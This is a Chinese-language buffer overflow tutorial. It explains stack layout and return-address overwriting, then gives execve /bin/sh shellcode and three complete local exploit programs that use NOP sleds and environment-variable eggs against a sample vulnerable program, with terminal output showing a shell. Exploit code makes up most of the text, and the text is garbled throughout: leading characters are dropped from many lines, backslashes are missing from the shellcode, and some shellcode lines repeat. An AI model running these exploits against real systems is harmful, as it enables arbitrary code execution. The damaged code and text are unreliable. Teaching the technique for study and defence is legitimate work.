从头到脚了解缓冲溢出

从头到脚了解缓冲溢出

作者:Wendy

在这份指南中,我们将讨论什么是缓冲溢出和怎么样去使用它。你必须了解C语言和汇编语言,如果熟悉GDB的话更加好,当然这不是很必要的。

(Memory organization)存储器分为3个部分

1. 文本区域(程序区)

这个部分是用来存储程序指令的.所以,这个区域被标示为只读,任何写的操作都将导致错误。

2. 数据区域

这个部分存储静态变量,它的大小可以由brk()系统调用来改变。

3. 堆栈

堆栈有个特殊的属性,就是最新放置在它里面的,都将是第一个被移出堆栈的。在计算机科学里,这就是通常所指的后进先出(LIFO)。堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程,这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的,返回地址在过程被调用之前就被设置在堆栈中。

它也被用来动态分配函数中的变量,以及函数的参数和返回值。

返回地址和指令指针

计算机执行一条指令,并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET)。 执行完成后,RET将会替换IP,程序接着继续执行本来的流程。

一个缓冲溢出

让我们用一个例子来说明以下缓冲溢出。

lt;++> buffer/example.c
void main(){
char big_string[100];
char small_string[50];
memset(big_string,0x41,100);
/* strcpy(char *to,char *from) */
trcpy(small_string,big_string);}
lt;--> end of example.c
 
这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A)。然后它将big_string加到small_string中。很明显,数组small_string不能容纳100个字符,因此,溢出产生。

接下来我们看看存储器中的变化情况:

[ big_string ] [ small_string ] [SFP] [RET]

在溢出中,SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉。这就意味着RET要变为0x41414141(0x41是A十六进制的值)。当函数被返回的时候,指令指针(Instruction Pointer)将会被已经复写了的RET替换。接着,计算机会试着去执行在0x41414141处的指令。这将会导致段冲突,因为这个地址已经超出了处理范围。

发掘漏洞

现在我们知道我们可以通过覆盖RET来改变程序的正常流程,我们可以实验一下。不是用A来覆盖,而是用一些特别的地址来达到我们的目的。

任意代码的执行

现在我们需要一些东西来指向地址并执行。在大多数情况下,我们需要产生一个shell,当然这不是惟一的方法。

Before:
FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
B = the buffer
E = stack frame pointer
R = return address
F = other data
After:
FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
S = shellcode
A = address pointing to the shellcode
F = other data

用C来产生shell的代码如下:

lt;++> buffer/shell.c
void main(){
char *name[2];
ame[0] = "/bin/sh";
ame[1] = 0x0;
execve(name[0], name, 0x0);
exit(0);
}
lt;--> end of shellcode
 
这里我们就不打算去解释如何去写一个shellcode了,因为它需要很多汇编的知识。那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用。对于那些想知道如何产生的人来说,可以根据以下的步骤来完成:

- 用 -static flag 开关来编译上面的程序

- 用GDB来打开上面的程序,然后用“disassemble main”命令

- 去掉所有不必要的代码

- 用汇编来重写它

- 编译,然后再用GDB打开,用“disassemble main”命令

- 在指令地址使用 x/bx 命令,找回 hex-code.

或者你可以使用这些代码

char shellcode[]=
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

寻找地址

当我们尝试去溢出一个程序的缓冲区的时候,这个程序要寻找这个缓冲区的地址。这个问题的答案是:对每个程序来说,堆栈都是在同一个地址上开始的。因此,只要知道了这个堆栈的地址是在哪里的,我们就可以猜出这个缓冲区的地址了。

下面这个程序会告诉我们这个程序的的堆栈指针:

lt;++> buffer/getsp.c
unsigned long get_sp(void){
__asm__("movl %esp, %eax);
}
void main(){
fprintf(stdout,"0x%xn",get_sp());
}
lt;--> end of getsp.c

试一下下面这个例子

lt;++> buffer/hole.c
void main(int argc,char **argv[]){
char buffer[512];
if (argc > 1) /* otherwise we crash our little program */
trcpy(buffer,argv[1]);
}
lt;--> end of hole.c
lt;++> buffer/exploit1.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_sp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
tr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
uff[bsize - 1] = '0';
memcpy(buff,"BUF=",4);
utenv(buff);
ystem("/bin/bash");
}
lt;--> end of exploit1.c

现在我们可以猜出offset (bufferaddress = stackpointer + offset).

[hosts]$ exploit1 600

Using address: 0xbffff6c3

[hosts]$ ./hole $BUF

[hosts]$ exploit1 600 100

Using address: 0xbffffce6

[hosts]$ ./hole $BUF

egmentation fault

etc.

etc.

就象你所知道的那样,这个过程几乎是不可能发生的,这样,我们不得不去猜出更精确的溢出地址。为了增加我们的机会,我们可以在我们的缓冲溢出的shellcode前加上 NOP(空操作)指令。因为我们没有必要去猜出它精确的溢出地址来。而NOP指令用来延迟执行的。如果这个被覆写的返回地址指针在NOP串中,我们的代码就可以在下面一步执行了。

存储器的内容应该是这样的:

FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

N = NOP

S = shellcode

A = address pointing to the shellcode

F = other data

我们把原先的代码改了一下

lt;++> buffer/exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_sp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
uff[i] = NOP;
tr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
uff[bsize - 1] = '0';
memcpy(buff,"BUF=",4);
utenv(buff);
ystem("/bin/bash");
}
lt;--> end of exploit2.c
[hosts]$ exploit2 600
Using address: 0xbffff6c3
[hosts]$ ./hole $BUF
egmentation fault
[hosts]$ exploit2 600 100
Using address: 0xbffffce6
[hosts]$ ./hole $BUF
#exit
[hosts]$
 
为了更完善我们的代码,我们把这些shellcode放到环境变量里去。然后我们就可以用这个变量的地址来溢出缓冲器了。这方法可以增加我们的机会。用setenv()函数来调用,并把shellcode送到环境变量中去。

lt;++> buffer/exploit3.c
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_esp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
tr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
uff[bsize - 1] = '0';
egg[eggsize - 1] = '0';
memcpy(egg,"BUF=",4);
utenv(egg);
memcpy(buff,"RET=",4);
utenv(buff);
ystem("/bin/bash");
}
end of exploit3.c
[hosts]$ exploit2 600
Using address: 0xbffff5d7
[hosts]$ ./hole $RET
#exit
[hosts]$

寻找溢出

当然有能更准确找到缓冲溢出的方法,那就是读它的源程序。因为Linux是个开放的系统,你很容易就可以得到它的源程序。

寻找没有边界校验的库函数调用,如:

trcpy(), strcat(), sprintf(), vsprintf(), scanf()

其他的具有危险的函数如:在“当型”循环中的getc()和getchar(),strncat函数的错误使用。

你可能感兴趣的:(从头到脚了解缓冲溢出)